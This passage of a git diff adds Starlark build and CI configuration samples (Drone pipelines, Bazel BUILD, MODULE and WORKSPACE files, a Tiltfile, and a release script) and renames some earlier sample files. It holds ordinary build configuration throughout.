+	MarkNativeAsOptional("Shavit_IsClientCreatingZone");
+	MarkNativeAsOptional("Shavit_IsKZMap");
+	MarkNativeAsOptional("Shavit_IsPaused");
+	MarkNativeAsOptional("Shavit_IsPracticeMode");
+	MarkNativeAsOptional("Shavit_IsReplayDataLoaded");
+	MarkNativeAsOptional("Shavit_LoadSnapshot");
+	MarkNativeAsOptional("Shavit_MarkKZMap");
+	MarkNativeAsOptional("Shavit_OpenStatsMenu");
+	MarkNativeAsOptional("Shavit_PauseTimer");
+	MarkNativeAsOptional("Shavit_PrintToChat");
+	MarkNativeAsOptional("Shavit_PrintToChatAll");
+	MarkNativeAsOptional("Shavit_Rankings_DeleteMap");
+	MarkNativeAsOptional("Shavit_ReloadLeaderboards");
+	MarkNativeAsOptional("Shavit_ReloadReplay");
+	MarkNativeAsOptional("Shavit_ReloadReplays");
+	MarkNativeAsOptional("Shavit_Replay_DeleteMap");
+	MarkNativeAsOptional("Shavit_RestartTimer");
+	MarkNativeAsOptional("Shavit_ResumeTimer");
+	MarkNativeAsOptional("Shavit_SaveSnapshot");
+	MarkNativeAsOptional("Shavit_SetClientPB");
+	MarkNativeAsOptional("Shavit_SetPracticeMode");
+	MarkNativeAsOptional("Shavit_SetReplayData");
+	MarkNativeAsOptional("Shavit_StartReplay");
+	MarkNativeAsOptional("Shavit_StartTimer");
+	MarkNativeAsOptional("Shavit_SetStart");
+	MarkNativeAsOptional("Shavit_DeleteSetStart");
+	MarkNativeAsOptional("Shavit_StopChatSound");
+	MarkNativeAsOptional("Shavit_StopTimer");
+	MarkNativeAsOptional("Shavit_WR_DeleteMap");
+	MarkNativeAsOptional("Shavit_ZoneExists");
+	MarkNativeAsOptional("Shavit_Zones_DeleteMap");
+	MarkNativeAsOptional("Shavit_GetTotalCheckpoints");
+	MarkNativeAsOptional("Shavit_GetCheckpoint");
+	MarkNativeAsOptional("Shavit_SetCheckpoint");
+	MarkNativeAsOptional("Shavit_TeleportToCheckpoint");
+	MarkNativeAsOptional("Shavit_ClearCheckpoints");
+	MarkNativeAsOptional("Shavit_OpenCheckpointMenu");
+	MarkNativeAsOptional("Shavit_GetClientTimescale");
+	MarkNativeAsOptional("Shavit_SetClientTimescale");
+	MarkNativeAsOptional("Shavit_SaveCheckpoint");
+	MarkNativeAsOptional("Shavit_GetCurrentCheckpoint");
+	MarkNativeAsOptional("Shavit_SetCurrentCheckpoint");
+	MarkNativeAsOptional("Shavit_GetTimesTeleported");
+	MarkNativeAsOptional("Shavit_GetPlayerPreFrames");
+	MarkNativeAsOptional("Shavit_SetPlayerPreFrames");
+	MarkNativeAsOptional("Shavit_GetClosestReplayTime");
+	MarkNativeAsOptional("Shavit_SetStyleSetting");
+	MarkNativeAsOptional("Shavit_SetStyleSettingFloat");
+	MarkNativeAsOptional("Shavit_SetStyleSettingBool");
+	MarkNativeAsOptional("Shavit_SetStyleSettingInt");
+	MarkNativeAsOptional("Shavit_GetPlainChatrank");
+	MarkNativeAsOptional("Shavit_GetClosestReplayVelocityDifference");
+	MarkNativeAsOptional("Shavit_IsReplayEntity");
+	MarkNativeAsOptional("Shavit_GetReplayButtons");
+	MarkNativeAsOptional("Shavit_GetClosestReplayStyle");
+	MarkNativeAsOptional("Shavit_SetClosestReplayStyle");
+	MarkNativeAsOptional("Shavit_GetReplayCacheFrameCount");
+	MarkNativeAsOptional("Shavit_GetReplayCacheLength");
+	MarkNativeAsOptional("Shavit_StartReplayFromFrameCache");
+	MarkNativeAsOptional("Shavit_StartReplayFromFile");
+	MarkNativeAsOptional("Shavit_GetClientLastStage");
+	MarkNativeAsOptional("Shavit_GetStageWR");
+	MarkNativeAsOptional("Shavit_GetStagePB");
+	MarkNativeAsOptional("Shavit_GetReplayPreFrames");
+	MarkNativeAsOptional("Shavit_GetReplayPostFrames");
+	MarkNativeAsOptional("Shavit_GetReplayCachePreFrames");
+	MarkNativeAsOptional("Shavit_GetReplayCachePostFrames");
+	MarkNativeAsOptional("Shavit_GetLoopingBotByName");
+}
+#endif
diff --git a/samples/Python/closure_js_binary.bzl b/samples/Starlark/closure_js_binary.bzl
similarity index 100%
rename from samples/Python/closure_js_binary.bzl
rename to samples/Starlark/closure_js_binary.bzl
diff --git a/samples/Starlark/drone.star b/samples/Starlark/drone.star
new file mode 100644
index 0000000000..76a2261777
--- /dev/null
+++ b/samples/Starlark/drone.star
@@ -0,0 +1,263 @@
+def main(ctx):
+  config = {
+    'title': 'NodeJS',
+    'image': ctx.repo.name,
+    'arches': [
+      'amd64',
+      'arm32v6',
+      'arm64v8',
+    ],
+    'versions': [
+      {
+        'path': 'latest',
+        'tag': 'latest',
+      },
+    ],
+    'trigger': [
+
+    ],
+  }
+
+  builds = docker(config)
+
+  after = [
+    readme(config),
+    badges(config),
+    trigger(config),
+  ]
+
+  for b in builds:
+    for a in after:
+      a['depends_on'].append(b['name'])
+
+  return builds + after
+
+def docker(config):
+  result = []
+
+  for version in config['versions']:
+    versions = []
+
+    for arch in config['arches']:
+
+      if arch == "amd64":
+        agent = "amd64"
+
+      if arch == "arm32v6":
+        agent = "arm"
+
+      if arch == "arm32v7":
+        agent = "arm"
+
+      if arch == "arm64v8":
+        agent = "arm64"
+
+      versions.append({
+        'kind': 'pipeline',
+        'type': 'docker',
+        'name': '%s-%s' % (arch, version['path']),
+        'platform': {
+          'os': 'linux',
+          'arch': agent,
+        },
+        'steps': [
+          {
+            'name': 'dryrun',
+            'image': 'plugins/docker:latest',
+            'pull': 'always',
+            'settings': {
+              'dry_run': True,
+              'dockerfile': '%s/Dockerfile.%s' % (version['path'], arch),
+              'tags': '%s-%s' % (version['tag'], arch),
+              'repo': 'webhippie/%s' % (config['image']),
+              'context': version['path'],
+            },
+            'when': {
+              'ref': {
+                'include': [
+                  'refs/pull/**',
+                ],
+              },
+            },
+          },
+          {
+            'name': 'publish',
+            'image': 'plugins/docker:latest',
+            'pull': 'always',
+            'settings': {
+              'username': {
+                'from_secret': 'docker_username',
+              },
+              'password': {
+                'from_secret': 'docker_password',
+              },
+              'dockerfile': '%s/Dockerfile.%s' % (version['path'], arch),
+              'tags': '%s-%s' % (version['tag'], arch),
+              'repo': 'webhippie/%s' % (config['image']),
+              'context': version['path'],
+            },
+            'when': {
+              'ref': {
+                'exclude': [
+                  'refs/pull/**',
+                ],
+              },
+            },
+          },
+        ],
+        'depends_on': [],
+        'trigger': {
+          'ref': [
+            'refs/heads/master',
+            'refs/pull/**',
+          ],
+        },
+      })
+
+    manifest = {
+      'kind': 'pipeline',
+      'type': 'docker',
+      'name': 'manifest-%s' % (version['path']),
+      'platform': {
+        'os': 'linux',
+        'arch': 'amd64',
+      },
+      'steps': [
+        {
+          'name': 'execute',
+          'image': 'plugins/manifest:latest',
+          'pull': 'always',
+          'settings': {
+            'username': {
+              'from_secret': 'docker_username',
+            },
+            'password': {
+              'from_secret': 'docker_password',
+            },
+            'ignore_missing': True,
+            'spec': '%s/manifest.tmpl' % (version['path']),
+          },
+        },
+      ],
+      'depends_on': [],
+      'trigger': {
+        'ref': [
+          'refs/heads/master',
+        ],
+      },
+    }
+
+    for version in versions:
+      manifest['depends_on'].append(version['name'])
+
+    result.extend(versions)
+    result.append(manifest)
+
+  return result
+
+def readme(config):
+  return {
+    'kind': 'pipeline',
+    'type': 'docker',
+    'name': 'readme',
+    'platform': {
+      'os': 'linux',
+      'arch': 'amd64',
+    },
+    'steps': [
+      {
+        'name': 'execute',
+        'image': 'sheogorath/readme-to-dockerhub:latest',
+        'pull': 'always',
+        'environment': {
+          'DOCKERHUB_USERNAME': {
+            'from_secret': 'docker_username',
+          },
+          'DOCKERHUB_PASSWORD': {
+            'from_secret': 'docker_password',
+          },
+          'DOCKERHUB_REPO_PREFIX': 'webhippie',
+          'DOCKERHUB_REPO_NAME': config['image'],
+          'SHORT_DESCRIPTION': 'Docker images for %s' % (config['title']),
+          'README_PATH': 'README.md',
+        },
+      },
+    ],
+    'depends_on': [],
+    'trigger': {
+      'ref': [
+        'refs/heads/master',
+      ],
+    },
+  }
+
+def badges(config):
+  return {
+    'kind': 'pipeline',
+    'type': 'docker',
+    'name': 'badges',
+    'platform': {
+      'os': 'linux',
+      'arch': 'amd64',
+    },
+    'clone': {
+      'disable': True,
+    },
+    'steps': [
+      {
+        'name': 'execute',
+        'image': 'plugins/webhook:latest',
+        'pull': 'always',
+        'settings': {
+          'urls': {
+            'from_secret': 'microbadger_url',
+          },
+        },
+      },
+    ],
+    'depends_on': [
+      'readme',
+    ],
+    'trigger': {
+      'ref': [
+        'refs/heads/master',
+      ],
+    },
+  }
+
+def trigger(config):
+  return {
+    'kind': 'pipeline',
+    'type': 'docker',
+    'name': 'trigger',
+    'platform': {
+      'os': 'linux',
+      'arch': 'amd64',
+    },
+    'clone': {
+      'disable': True,
+    },
+    'steps': [
+      {
+        'name': 'execute',
+        'image': 'plugins/downstream:latest',
+        'pull': 'always',
+        'failure': 'ignore',
+        'settings': {
+          'server': 'https://cloud.drone.io',
+          'token': {
+            'from_secret': 'downstream_token',
+          },
+          'repositories': config['trigger'],
+        },
+      },
+    ],
+    'depends_on': [
+      'badges',
+    ],
+    'trigger': {
+      'ref': [
+        'refs/heads/master',
+      ],
+    },
+  }
diff --git a/samples/Python/filenames/BUCK b/samples/Starlark/filenames/BUCK
similarity index 100%
rename from samples/Python/filenames/BUCK
rename to samples/Starlark/filenames/BUCK
diff --git a/samples/Python/filenames/BUILD b/samples/Starlark/filenames/BUILD
similarity index 100%
rename from samples/Python/filenames/BUILD
rename to samples/Starlark/filenames/BUILD
diff --git a/samples/Starlark/filenames/BUILD.bazel b/samples/Starlark/filenames/BUILD.bazel
new file mode 100644
index 0000000000..9205775111
--- /dev/null
+++ b/samples/Starlark/filenames/BUILD.bazel
@@ -0,0 +1,45 @@
+package(default_visibility = ["//scripts/release:__pkg__"])
+
+filegroup(
+    name = "git",
+    srcs = glob([".git/**"]),
+)
+
+filegroup(
+    name = "dummy",
+    visibility = ["//visibility:public"],
+)
+
+filegroup(
+    name = "srcs",
+    srcs = glob(
+        ["**"],
+        exclude = [
+            "bazel-*/**",
+            "output/**",
+            ".*/**",
+        ],
+    ) + [
+        "//examples:srcs",
+        "//scripts:srcs",
+        "//site:srcs",
+        "//src:srcs",
+        "//tools:srcs",
+        "//third_party:srcs",
+    ],
+    visibility = ["//visibility:private"],
+)
+
+load("//tools/build_defs/pkg:pkg.bzl", "pkg_tar")
+
+pkg_tar(
+    name = "bazel-srcs",
+    files = [":srcs"],
+    strip_prefix = ".",
+    # Public but bazel-only visibility.
+    visibility = ["//:__subpackages__"],
+)
+
+load("//tools/build_rules/go:def.bzl", "go_prefix")
+
+go_prefix("github.com/bazelbuild/bazel")
diff --git a/samples/Starlark/filenames/MODULE.bazel b/samples/Starlark/filenames/MODULE.bazel
new file mode 100644
index 0000000000..fa63688a8f
--- /dev/null
+++ b/samples/Starlark/filenames/MODULE.bazel
@@ -0,0 +1,52 @@
+# To build Bazel with Bzlmod: `bazel build --enable_bzlmod //src:bazel_nojdk`.
+
+module(
+    name = "bazel",
+    version = "7.0.0-pre",
+    repo_name = "io_bazel",
+)
+
+bazel_dep(name = "rules_license", version = "0.0.3")
+bazel_dep(name = "bazel_skylib", version = "1.3.0")
+bazel_dep(name = "protobuf", version = "21.7", repo_name = "com_google_protobuf")
+bazel_dep(name = "grpc", version = "1.47.0", repo_name = "com_github_grpc_grpc")
+bazel_dep(name = "platforms", version = "0.0.6")
+bazel_dep(name = "rules_pkg", version = "0.7.0")
+bazel_dep(name = "stardoc", version = "0.5.3", repo_name = "io_bazel_skydoc")
+bazel_dep(name = "zstd-jni", version = "1.5.2-3")
+bazel_dep(name = "zlib", version = "1.2.13")
+bazel_dep(name = "rules_cc", version = "0.0.6")
+bazel_dep(name = "rules_java", version = "5.4.1")
+bazel_dep(name = "rules_proto", version = "5.3.0-21.7")
+bazel_dep(name = "rules_jvm_external", version = "4.5")
+single_version_override(
+    module_name = "rules_jvm_external",
+    patch_strip = 1,
+    patches = ["//third_party:rules_jvm_external.patch"],
+)
+
+maven = use_extension("@rules_jvm_external//:extensions.bzl", "maven")
+maven.install(
+    # We don't yet specify the maven coordinates in the MODULE.bazel to avoid duplicating information.
+    # Always respect the maven_install.json file generated by rules_jvm_external from the WORKSPACE file.
+    # TODO(pcloudy): We should add maven coordinates here when we enable Bzlmod in the default build for Bazel.
+    lock_file = "//:maven_install.json",
+    repositories = [
+        "https://repo1.maven.org/maven2",
+    ],
+)
+use_repo(maven, "maven")
+
+# TODO(pcloudy): Add remoteapis and googleapis as Bazel modules in the BCR.
+bazel_dep(name = "remoteapis", version = "")
+bazel_dep(name = "googleapis", version = "")
+
+local_path_override(
+    module_name = "remoteapis",
+    path = "./third_party/remoteapis",
+)
+
+local_path_override(
+    module_name = "googleapis",
+    path = "./third_party/googleapis",
+)
diff --git a/samples/Starlark/filenames/Tiltfile b/samples/Starlark/filenames/Tiltfile
new file mode 100644
index 0000000000..46aa2b4f7a
--- /dev/null
+++ b/samples/Starlark/filenames/Tiltfile
@@ -0,0 +1,19 @@
+include('../Tiltfile')
+
+# If you get push errors, you can change the default_registry.
+# Create tilt_option.json with contents: {"default_registry": "gcr.io/my-personal-project"}
+# (with your registry inserted). tilt_option.json is gitignore'd, unlike Tiltfile
+default_registry(read_json('tilt_option.json', {})
+                 .get('default_registry', 'gcr.io/windmill-test-containers/servantes'))
+
+docker_build('sparkle', './sparkle', dockerfile='Dockerfile.sparkle',
+             live_update=[
+                 sync('./sparkle/', '/app/'),
+             ])
+docker_build('tada', './tada', dockerfile='Dockerfile.tada',
+             live_update=[
+                 sync('./tada/', '/app/'),
+             ])
+k8s_yaml('two_images.yaml')
+
+k8s_resource('twoimages', port_forwards=['8100:8000', '8101:8001'])
diff --git a/samples/Starlark/filenames/WORKSPACE b/samples/Starlark/filenames/WORKSPACE
new file mode 100644
index 0000000000..1ee0ebcd05
--- /dev/null
+++ b/samples/Starlark/filenames/WORKSPACE
@@ -0,0 +1,12 @@
+# rules for scala
+# https://github.com/bazelbuild/rules_scala#getting-started
+# pull rule definitions from git
+git_repository(
+    name = "io_bazel_rules_scala",
+    remote = "https://github.com/bazelbuild/rules_scala.git",
+    commit = "73743b830ae98d13a946b25ad60cad5fee58e6d3", # update this as needed
+)
+
+# load the desired scala rules for this workspace
+load("@io_bazel_rules_scala//scala:scala.bzl", "scala_repositories")
+scala_repositories()
diff --git a/samples/Starlark/filenames/WORKSPACE.bazel b/samples/Starlark/filenames/WORKSPACE.bazel
new file mode 100644
index 0000000000..4d6a56e5a3
--- /dev/null
+++ b/samples/Starlark/filenames/WORKSPACE.bazel
@@ -0,0 +1,381 @@
+workspace(name = "skia")
+
+load("//toolchain:download_toolchains.bzl", "download_toolchains_for_skia")
+
+download_toolchains_for_skia("clang_linux_amd64", "clang_mac")
+
+load("@bazel_tools//tools/build_defs/repo:http.bzl", "http_archive")
+
+# See https://github.com/emscripten-core/emsdk/tree/85d27a4a2a60d591613a305b14ae438c2bb3ce11/bazel#setup-instructions
+http_archive(
+    name = "emsdk",
+    sha256 = "74c7c54b3544555ec38d1e9dcc7e90b9f49ed0e04f2cc3fd44663c598af24124",
+    strip_prefix = "emsdk-3.1.15/bazel",
+    urls = [
+        "https://github.com/emscripten-core/emsdk/archive/refs/tags/3.1.15.tar.gz",
+        "https://storage.googleapis.com/skia-world-readable/bazel/74c7c54b3544555ec38d1e9dcc7e90b9f49ed0e04f2cc3fd44663c598af24124.tar.gz",
+    ],
+)
+
+load("@emsdk//:deps.bzl", emsdk_deps = "deps")
+
+# One of the deps here is build_bazel_rules_nodejs, currently version 4.4.1
+# If we try to install it ourselves after this, it won't work.
+emsdk_deps()
+
+load("@emsdk//:emscripten_deps.bzl", emsdk_emscripten_deps = "emscripten_deps")
+
+emsdk_emscripten_deps(emscripten_version = "3.1.9")
+
+http_archive(
+    name = "bazel_skylib",
+    sha256 = "c6966ec828da198c5d9adbaa94c05e3a1c7f21bd012a0b29ba8ddbccb2c93b0d",
+    urls = [
+        "https://mirror.bazel.build/github.com/bazelbuild/bazel-skylib/releases/download/1.1.1/bazel-skylib-1.1.1.tar.gz",
+        "https://github.com/bazelbuild/bazel-skylib/releases/download/1.1.1/bazel-skylib-1.1.1.tar.gz",
+    ],
+)
+
+load("@bazel_skylib//:workspace.bzl", "bazel_skylib_workspace")
+
+bazel_skylib_workspace()
+
+http_archive(
+    name = "bazel_toolchains",
+    sha256 = "e52789d4e89c3e2dc0e3446a9684626a626b6bec3fde787d70bae37c6ebcc47f",
+    strip_prefix = "bazel-toolchains-5.1.1",
+    urls = [
+        "https://github.com/bazelbuild/bazel-toolchains/archive/refs/tags/v5.1.1.tar.gz",
+        "https://storage.googleapis.com/skia-world-readable/bazel/e52789d4e89c3e2dc0e3446a9684626a626b6bec3fde787d70bae37c6ebcc47f.tar.gz",
+    ],
+)
+
+load("@bazel_toolchains//repositories:repositories.bzl", bazel_toolchains_repositories = "repositories")
+
+bazel_toolchains_repositories()
+
+#######################################################################################
+# Python
+#######################################################################################
+
+# https://github.com/bazelbuild/rules_python
+http_archive(
+    name = "rules_python",
+    sha256 = "5fa3c738d33acca3b97622a13a741129f67ef43f5fdfcec63b29374cc0574c29",
+    strip_prefix = "rules_python-0.9.0",
+    urls = [
+        "https://github.com/bazelbuild/rules_python/archive/refs/tags/0.9.0.tar.gz",
+        "https://storage.googleapis.com/skia-world-readable/bazel/5fa3c738d33acca3b97622a13a741129f67ef43f5fdfcec63b29374cc0574c29.tar.gz",
+    ],
+)
+
+# This sets up a hermetic python3, rather than depending on what is installed.
+load("@rules_python//python:repositories.bzl", "python_register_toolchains")
+
+python_register_toolchains(
+    name = "python3_9",
+    # https://github.com/bazelbuild/rules_python/blob/main/python/versions.bzl
+    python_version = "3.9",
+)
+
+load("@python3_9//:defs.bzl", "interpreter")
+load("@rules_python//python:pip.bzl", "pip_install")
+
+pip_install(
+    name = "py_deps",
+    python_interpreter_target = interpreter,
+    requirements = "//:requirements.txt",
+)
+
+#######################################################################################
+# Gazelle
+#######################################################################################
+http_archive(
+    name = "io_bazel_rules_go",
+    sha256 = "2b1641428dff9018f9e85c0384f03ec6c10660d935b750e3fa1492a281a53b0f",
+    urls = [
+        "https://mirror.bazel.build/github.com/bazelbuild/rules_go/releases/download/v0.29.0/rules_go-v0.29.0.zip",
+        "https://github.com/bazelbuild/rules_go/releases/download/v0.29.0/rules_go-v0.29.0.zip",
+    ],
+)
+
+http_archive(
+    name = "bazel_gazelle",
+    sha256 = "de69a09dc70417580aabf20a28619bb3ef60d038470c7cf8442fafcf627c21cb",
+    urls = [
+        "https://mirror.bazel.build/github.com/bazelbuild/bazel-gazelle/releases/download/v0.24.0/bazel-gazelle-v0.24.0.tar.gz",
+        "https://github.com/bazelbuild/bazel-gazelle/releases/download/v0.24.0/bazel-gazelle-v0.24.0.tar.gz",
+    ],
+)
+
+load("@io_bazel_rules_go//go:deps.bzl", "go_register_toolchains", "go_rules_dependencies")
+load("@bazel_gazelle//:deps.bzl", "gazelle_dependencies")
+load("//:go_repositories.bzl", "go_repositories")
+
+# gazelle:repository_macro go_repositories.bzl%go_repositories
+go_repositories()
+
+go_rules_dependencies()
+
+go_register_toolchains(version = "1.18")
+
+gazelle_dependencies(go_repository_default_config = "//:WORKSPACE.bazel")
+
+# Because the skia infra repo has a dependency on google.golang.org/grpc (aka
+# @org_golang_google_grpc), we need to have this library available to build protos.
+# https://github.com/bazelbuild/rules_go#protobuf-and-grpc
+http_archive(
+    name = "com_google_protobuf",
+    sha256 = "d0f5f605d0d656007ce6c8b5a82df3037e1d8fe8b121ed42e536f569dec16113",
+    strip_prefix = "protobuf-3.14.0",
+    urls = [
+        "https://mirror.bazel.build/github.com/protocolbuffers/protobuf/archive/v3.14.0.tar.gz",
+        "https://github.com/protocolbuffers/protobuf/archive/v3.14.0.tar.gz",
+    ],
+)
+
+load("@com_google_protobuf//:protobuf_deps.bzl", "protobuf_deps")
+
+protobuf_deps()
+
+###################################################
+# JavaScript / TypeScript rules and dependencies. #
+###################################################
+
+# The npm_install rule runs anytime the package.json or package-lock.json file changes. It also
+# extracts any Bazel rules distributed in an npm package.
+load("@build_bazel_rules_nodejs//:index.bzl", "npm_install")
+
+# Manages the node_modules directory.
+npm_install(
+    name = "npm",
+    package_json = "//:package.json",
+    package_lock_json = "//:package-lock.json",
+)
+
+# io_bazel_rules_webtesting allows us to download browsers in a hermetic, repeatable way. This
+# currently includes Chromium and Firefox. Note that the version on this does not necessarily
+# match the version below of the browsers-X.Y.Z below that is available.
+http_archive(
+    name = "io_bazel_rules_webtesting",
+    sha256 = "e9abb7658b6a129740c0b3ef6f5a2370864e102a5ba5ffca2cea565829ed825a",
+    urls = [
+        "https://github.com/bazelbuild/rules_webtesting/releases/download/0.3.5/rules_webtesting.tar.gz",
+        "https://storage.googleapis.com/skia-world-readable/bazel/e9abb7658b6a129740c0b3ef6f5a2370864e102a5ba5ffca2cea565829ed825a.tar.gz",
+    ],
+)
+
+# https://github.com/bazelbuild/rules_webtesting/blob/e9cf17123068b1123c68219edf9b274bf057b9cc/web/versioned/browsers-0.3.3.bzl
+load("@io_bazel_rules_webtesting//web/versioned:browsers-0.3.3.bzl", "browser_repositories")
+
+browser_repositories(
+    chromium = True,
+    firefox = True,
+)
+
+###################################################
+# External C++ deps with Bazel support            #
+###################################################
+# https://bazel.build/reference/be/workspace#local_repository
+local_repository(
+    name = "abseil_cpp",
+    path = "third_party/externals/abseil-cpp",
+)
+
+local_repository(
+    name = "brotli",
+    path = "third_party/externals/brotli",
+)
+
+local_repository(
+    name = "highway",
+    path = "third_party/externals/highway",
+)
+
+local_repository(
+    name = "spirv_tools",
+    path = "third_party/externals/spirv-tools",
+)
+
+local_repository(
+    # This name is important because spirv_tools expects @spirv_headers to exist by that name.
+    name = "spirv_headers",
+    path = "third_party/externals/spirv-headers",
+)
+
+###############################################################################
+# External C++ deps with NO Bazel support                                     #
+# In this case, we need to supply a BUILD file which exposes targets/files    #
+# we need. If these deps depend on other deps (e.g. @dawn -> @spirv_tools),   #
+# then we need to specify those here as well. The workspace_file_content is   #
+# generally ignored; external repos (i.e. the ones starting with @) will be   #
+# resolved with Skia's version of those repos, which is how Bazel avoids      #
+# multiple versions of the same project being compiled together.              #
+###############################################################################
+# https://bazel.build/reference/be/workspace#new_local_repository
+new_local_repository(
+    name = "dawn",
+    build_file = "bazel/external/dawn/BUILD.bazel",
+    path = "third_party/externals/dawn",
+    workspace_file_content = "",
+)
+
+new_local_repository(
+    name = "dng_sdk",
+    build_file = "bazel/external/dng_sdk/BUILD.bazel",
+    path = "third_party/externals/dng_sdk",
+    workspace_file_content = "",
+)
+
+new_local_repository(
+    name = "expat",
+    build_file = "bazel/external/expat/BUILD.bazel",
+    path = "third_party/externals/expat",
+    workspace_file_content = "",
+)
+
+new_local_repository(
+    name = "freetype",
+    build_file = "bazel/external/freetype/BUILD.bazel",
+    path = "third_party/externals/freetype",
+    workspace_file_content = "",
+)
+
+# In order to copy the Freetype configurations into the checked out Freetype folder,
+# it is easiest to treat them as a third-party dependency from the perspective of Freetype.
+# To do that, we put them in their own Bazel workspace and then have our injected BUILD.bazel
+# for Freetype reference this workspace.
+local_repository(
+    name = "freetype_config",
+    path = "bazel/external/freetype/config",
+)
+
+new_local_repository(
+    name = "harfbuzz",
+    build_file = "bazel/external/harfbuzz/BUILD.bazel",
+    path = "third_party/externals/harfbuzz",
+    workspace_file_content = "",
+)
+
+local_repository(
+    name = "harfbuzz_config",
+    path = "bazel/external/harfbuzz/config",
+)
+
+new_local_repository(
+    name = "icu",
+    build_file = "bazel/external/icu/BUILD.bazel",
+    path = "third_party/externals/icu",
+    workspace_file_content = "",
+)
+
+local_repository(
+    name = "icu_utils",
+    path = "bazel/external/icu/utils",
+)
+
+new_local_repository(
+    name = "libavif",
+    build_file = "bazel/external/libavif/BUILD.bazel",
+    path = "third_party/externals/libavif",
+    workspace_file_content = "",
+)
+
+new_local_repository(
+    name = "libgav1",
+    build_file = "bazel/external/libgav1/BUILD.bazel",
+    path = "third_party/externals/libgav1",
+    workspace_file_content = "",
+)
+
+new_local_repository(
+    name = "libjpeg_turbo",
+    build_file = "bazel/external/libjpeg_turbo/BUILD.bazel",
+    path = "third_party/externals/libjpeg-turbo",
+    workspace_file_content = "",
+)
+
+new_local_repository(
+    name = "libjxl",
+    build_file = "bazel/external/libjxl/BUILD.bazel",
+    path = "third_party/externals/libjxl",
+    workspace_file_content = "",
+)
+
+new_local_repository(
+    name = "libpng",
+    build_file = "bazel/external/libpng/BUILD.bazel",
+    path = "third_party/externals/libpng",
+    workspace_file_content = "",
+)
+
+new_local_repository(
+    name = "libwebp",
+    build_file = "bazel/external/libwebp/BUILD.bazel",
+    path = "third_party/externals/libwebp",
+    workspace_file_content = "",
+)
+
+new_local_repository(
+    name = "libyuv",
+    build_file = "bazel/external/libyuv/BUILD.bazel",
+    path = "third_party/externals/libyuv",
+    workspace_file_content = "",
+)
+
+new_local_repository(
+    name = "spirv_cross",
+    build_file = "bazel/external/spirv_cross/BUILD.bazel",
+    path = "third_party/externals/spirv-cross",
+    workspace_file_content = "",
+)
+
+new_local_repository(
+    name = "perfetto",
+    build_file = "bazel/external/perfetto/BUILD.bazel",
+    path = "third_party/externals/perfetto",
+    workspace_file_content = "",
+)
+
+new_local_repository(
+    name = "piex",
+    build_file = "bazel/external/piex/BUILD.bazel",
+    path = "third_party/externals/piex",
+    workspace_file_content = "",
+)
+
+new_local_repository(
+    name = "vulkan_headers",
+    build_file = "bazel/external/vulkan_headers/BUILD.bazel",
+    path = "third_party/externals/vulkan-headers",
+    workspace_file_content = "",
+)
+
+new_local_repository(
+    name = "vulkan_tools",
+    build_file = "bazel/external/vulkan_tools/BUILD.bazel",
+    path = "third_party/externals/vulkan-tools",
+    workspace_file_content = "",
+)
+
+new_local_repository(
+    name = "vulkanmemoryallocator",
+    build_file = "bazel/external/vulkanmemoryallocator/BUILD.bazel",
+    path = "third_party/externals/vulkanmemoryallocator",
+    workspace_file_content = "",
+)
+
+new_local_repository(
+    name = "wuffs",
+    build_file = "bazel/external/wuffs/BUILD.bazel",
+    path = "third_party/externals/wuffs",
+    workspace_file_content = "",
+)
+
+new_local_repository(
+    # Some other dependency downloads zlib but with their own rules
+    name = "zlib_skia",
+    build_file = "bazel/external/zlib/BUILD.bazel",
+    path = "third_party/externals/zlib",
+    workspace_file_content = "",
+)
diff --git a/samples/Starlark/release.star b/samples/Starlark/release.star
new file mode 100644
index 0000000000..e85610016b
--- /dev/null
+++ b/samples/Starlark/release.star
@@ -0,0 +1,470 @@
+load(
+    'scripts/drone/steps/lib.star',
+    'disable_tests',
+    'clone_enterprise_step',
+    'download_grabpl_step',
+    'gen_version_step',
+    'yarn_install_step',
+    'wire_install_step',
+    'init_enterprise_step',
+    'lint_drone_step',
+    'build_image',
+    'identify_runner_step',
+    'publish_image',
+    'lint_backend_step',
+    'lint_frontend_step',
+    'codespell_step',
+    'shellcheck_step',
+    'test_backend_step',
+    'test_backend_integration_step',
+    'test_frontend_step',
+    'build_backend_step',
+    'build_frontend_step',
+    'build_frontend_package_step',
+    'build_plugins_step',
+    'package_step',
+    'grafana_server_step',
+    'e2e_tests_step',
+    'e2e_tests_artifacts',
+    'build_storybook_step',
+    'copy_packages_for_docker_step',
+    'build_docker_images_step',
+    'postgres_integration_tests_step',
+    'mysql_integration_tests_step',
+    'redis_integration_tests_step',
+    'memcached_integration_tests_step',
+    'get_windows_steps',
+    'benchmark_ldap_step',
+    'store_storybook_step',
+    'upload_packages_step',
+    'store_packages_step',
+    'upload_cdn_step',
+    'validate_scuemata_step',
+    'ensure_cuetsified_step',
+    'publish_images_step',
+    'trigger_oss'
+)
+
+load(
+    'scripts/drone/services/services.star',
+    'integration_test_services',
+    'integration_test_services_volumes',
+    'ldap_service',
+)
+
+load(
+    'scripts/drone/utils/utils.star',
+    'pipeline',
+    'notify_pipeline',
+    'failure_template',
+    'drone_change_template',
+)
+load('scripts/drone/vault.star', 'from_secret', 'github_token', 'pull_secret', 'drone_token', 'prerelease_bucket')
+
+def store_npm_packages_step():
+    return {
+        'name': 'store-npm-packages',
+        'image': publish_image,
+        'depends_on': [
+            'build-frontend-packages',
+        ],
+        'environment': {
+            'GCP_KEY': from_secret('gcp_key'),
+            'PRERELEASE_BUCKET': from_secret(prerelease_bucket)
+        },
+        'commands': [
+            './bin/grabpl artifacts npm store --tag ${DRONE_TAG}'
+        ],
+    }
+
+def retrieve_npm_packages_step():
+    return {
+        'name': 'retrieve-npm-packages',
+        'image': publish_image,
+        'depends_on': [
+            'yarn-install',
+        ],
+        'environment': {
+            'GCP_KEY': from_secret('gcp_key'),
+            'PRERELEASE_BUCKET': from_secret(prerelease_bucket)
+        },
+        'commands': [
+            './bin/grabpl artifacts npm retrieve --tag v${TAG}'
+        ],
+    }
+
+def release_npm_packages_step():
+    return {
+        'name': 'release-npm-packages',
+        'image': build_image,
+        'depends_on': [
+            'retrieve-npm-packages',
+        ],
+        'environment': {
+            'NPM_TOKEN': from_secret('npm_token'),
+        },
+        'commands': [
+            './bin/grabpl artifacts npm release --tag v${TAG}'
+        ],
+    }
+
+def fetch_images_step(edition):
+    return {
+        'name': 'fetch-images-{}'.format(edition),
+        'image': 'google/cloud-sdk',
+        'environment': {
+            'GCP_KEY': from_secret('gcp_key'),
+            'DOCKER_USER': from_secret('docker_username'),
+            'DOCKER_PASSWORD': from_secret('docker_password'),
+        },
+        'commands': ['./bin/grabpl artifacts docker fetch --version-tag ${{TAG}} --edition {} --base alpine --base ubuntu --arch amd64 --arch arm64 --arch armv7'.format(edition)],
